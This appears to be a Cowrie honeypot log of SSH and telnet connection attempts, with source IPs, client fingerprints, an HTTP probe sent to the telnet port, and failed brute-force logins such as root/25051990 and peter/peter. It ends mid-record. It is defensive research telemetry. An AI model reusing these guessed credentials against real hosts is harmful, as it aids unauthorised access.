{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:96:d7:9d:1c:b7:d6:d5:4d:76:b5:56:f8:ac:b9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBZgitKdudgxg4sY6/SrKuxZk3mUVJaj+C4NRwsKMP904oHjujP2fJSb90VA7ZuOXA4Y5Mm98BePR/+eU1rmpovOSjQN9ik1V/I8WwjK3u0VI1kyC+Q+QST0KZ0FHuaxUEYc1GrUVCuV6CUG6whVmkqWx54rSTU6F8fTLb5XWUa8ZKpC123bL6vyZs8ScDps84FTzb+x+LRBb4rpo+R5kiDh2ra2x03kCzRRKwDTUzjkaH2tc2qdGWePnNCj/RyFesfLVFN6M9O/7If+cx9N7hv3KexPdvWD47qWCC3aaKJvtDX817TnMXla2p5ANNVgI2fMzqOggcPaU37uiF6iGB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:96:d7:9d:1c:b7:d6:d5:4d:76:b5:56:f8:ac:b9:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.378873Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:96:d7:9d:1c:b7:d6:d5:4d:76:b5:56:f8:ac:b9:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBZgitKdudgxg4sY6/SrKuxZk3mUVJaj+C4NRwsKMP904oHjujP2fJSb90VA7ZuOXA4Y5Mm98BePR/+eU1rmpovOSjQN9ik1V/I8WwjK3u0VI1kyC+Q+QST0KZ0FHuaxUEYc1GrUVCuV6CUG6whVmkqWx54rSTU6F8fTLb5XWUa8ZKpC123bL6vyZs8ScDps84FTzb+x+LRBb4rpo+R5kiDh2ra2x03kCzRRKwDTUzjkaH2tc2qdGWePnNCj/RyFesfLVFN6M9O/7If+cx9N7hv3KexPdvWD47qWCC3aaKJvtDX817TnMXla2p5ANNVgI2fMzqOggcPaU37uiF6iGB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.389548Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:02.474413Z","src_ip":"37.187.109.150","session":"0033eea41e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49496,"dst_ip":"159.203.135.109","dst_port":23,"session":"afee7cfa91a8","protocol":"telnet","message":"New connection: 69.4.83.194:49496 (159.203.135.109:23) [session: afee7cfa91a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:05.179234Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49556,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ac47e8abce3","protocol":"ssh","message":"New connection: 77.94.47.83:49556 (10.17.0.5:22) [session: 0ac47e8abce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:09.032855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:09.038535Z","src_ip":"77.94.47.83","session":"0ac47e8abce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:09.149713Z","src_ip":"77.94.47.83","session":"0ac47e8abce3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25051990","message":"login attempt [root/25051990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:09.483419Z","src_ip":"77.94.47.83","session":"0ac47e8abce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:10.598996Z","src_ip":"77.94.47.83","session":"0ac47e8abce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51976,"dst_ip":"159.203.135.109","dst_port":23,"session":"6140f5d5c4bb","protocol":"telnet","message":"New connection: 69.4.83.194:51976 (159.203.135.109:23) [session: 6140f5d5c4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:11.547932Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":37254,"dst_ip":"159.203.135.109","dst_port":22,"session":"a46e4036bb3b","protocol":"ssh","message":"New connection: 103.173.227.57:37254 (159.203.135.109:22) [session: a46e4036bb3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:19.302628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:19.309448Z","src_ip":"103.173.227.57","session":"a46e4036bb3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:19.565489Z","src_ip":"103.173.227.57","session":"a46e4036bb3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"23041987","message":"login attempt [root/23041987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:20.331444Z","src_ip":"103.173.227.57","session":"a46e4036bb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:21.590239Z","src_ip":"103.173.227.57","session":"a46e4036bb3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.11546039581299,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:28.508691Z","src_ip":"69.4.83.194","session":"5c1f2922a8bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":43136,"dst_ip":"159.203.135.109","dst_port":22,"session":"4867d9fb5766","protocol":"ssh","message":"New connection: 103.172.78.219:43136 (159.203.135.109:22) [session: 4867d9fb5766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:32.174848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:32.179643Z","src_ip":"103.172.78.219","session":"4867d9fb5766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:32.436808Z","src_ip":"103.172.78.219","session":"4867d9fb5766","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amadeus55","message":"login attempt [root/amadeus55] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:33.213603Z","src_ip":"103.172.78.219","session":"4867d9fb5766","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.70.245.157","src_port":26794,"dst_ip":"159.203.135.109","dst_port":22,"session":"8bdd4a1f2f5d","protocol":"ssh","message":"New connection: 146.70.245.157:26794 (159.203.135.109:22) [session: 8bdd4a1f2f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:34.418174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:34.422798Z","src_ip":"146.70.245.157","session":"8bdd4a1f2f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:34.471034Z","src_ip":"103.172.78.219","session":"4867d9fb5766","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:34.560614Z","src_ip":"146.70.245.157","session":"8bdd4a1f2f5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"peter","password":"peter","message":"login attempt [peter/peter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:35.103787Z","src_ip":"146.70.245.157","session":"8bdd4a1f2f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:36.245535Z","src_ip":"146.70.245.157","session":"8bdd4a1f2f5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61836314201355,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:37.797448Z","src_ip":"69.4.83.194","session":"afee7cfa91a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":22451,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef9473110954","protocol":"ssh","message":"New connection: 20.193.141.133:22451 (159.203.135.109:22) [session: ef9473110954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:40.246329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:40.255045Z","src_ip":"20.193.141.133","session":"ef9473110954","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:40.451600Z","src_ip":"20.193.141.133","session":"ef9473110954","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:41.267424Z","src_ip":"20.193.141.133","session":"ef9473110954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:42.467276Z","src_ip":"20.193.141.133","session":"ef9473110954","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.202272176742554,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:46.750075Z","src_ip":"69.4.83.194","session":"6140f5d5c4bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":37134,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9f89bf8d1e5","protocol":"telnet","message":"New connection: 69.4.83.194:37134 (159.203.135.109:23) [session: f9f89bf8d1e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:48.231895Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40594,"dst_ip":"159.203.135.109","dst_port":23,"session":"26c45e260545","protocol":"telnet","message":"New connection: 69.4.83.194:40594 (159.203.135.109:23) [session: 26c45e260545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:54.426141Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.49.1.162","src_port":12156,"dst_ip":"10.17.0.5","dst_port":23,"session":"f187dc487bf0","protocol":"telnet","message":"New connection: 65.49.1.162:12156 (10.17.0.5:23) [session: f187dc487bf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:55.723295Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:55.743676Z","src_ip":"65.49.1.162","session":"f187dc487bf0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:55.751987Z","src_ip":"65.49.1.162","session":"f187dc487bf0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Accept-Encoding: gzip","password":"","message":"login attempt [Accept-Encoding: gzip/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:55.757003Z","src_ip":"65.49.1.162","session":"f187dc487bf0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08091545104980469,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:31:55.804105Z","src_ip":"65.49.1.162","session":"f187dc487bf0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":50156,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd80f1afa3b","protocol":"ssh","message":"New connection: 20.6.35.235:50156 (159.203.135.109:22) [session: ffd80f1afa3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:03.281021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:03.561405Z","src_ip":"20.6.35.235","session":"ffd80f1afa3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:03.997552Z","src_ip":"20.6.35.235","session":"ffd80f1afa3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44118,"dst_ip":"159.203.135.109","dst_port":23,"session":"e62ef89cf9ed","protocol":"telnet","message":"New connection: 69.4.83.194:44118 (159.203.135.109:23) [session: e62ef89cf9ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:04.963958Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":37034,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f5b7a708dd6","protocol":"ssh","message":"New connection: 194.113.233.25:37034 (10.17.0.5:22) [session: 0f5b7a708dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:09.612232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:32:09.749469Z","src_ip":"194.113.233.25","session":"0f5b7a708dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-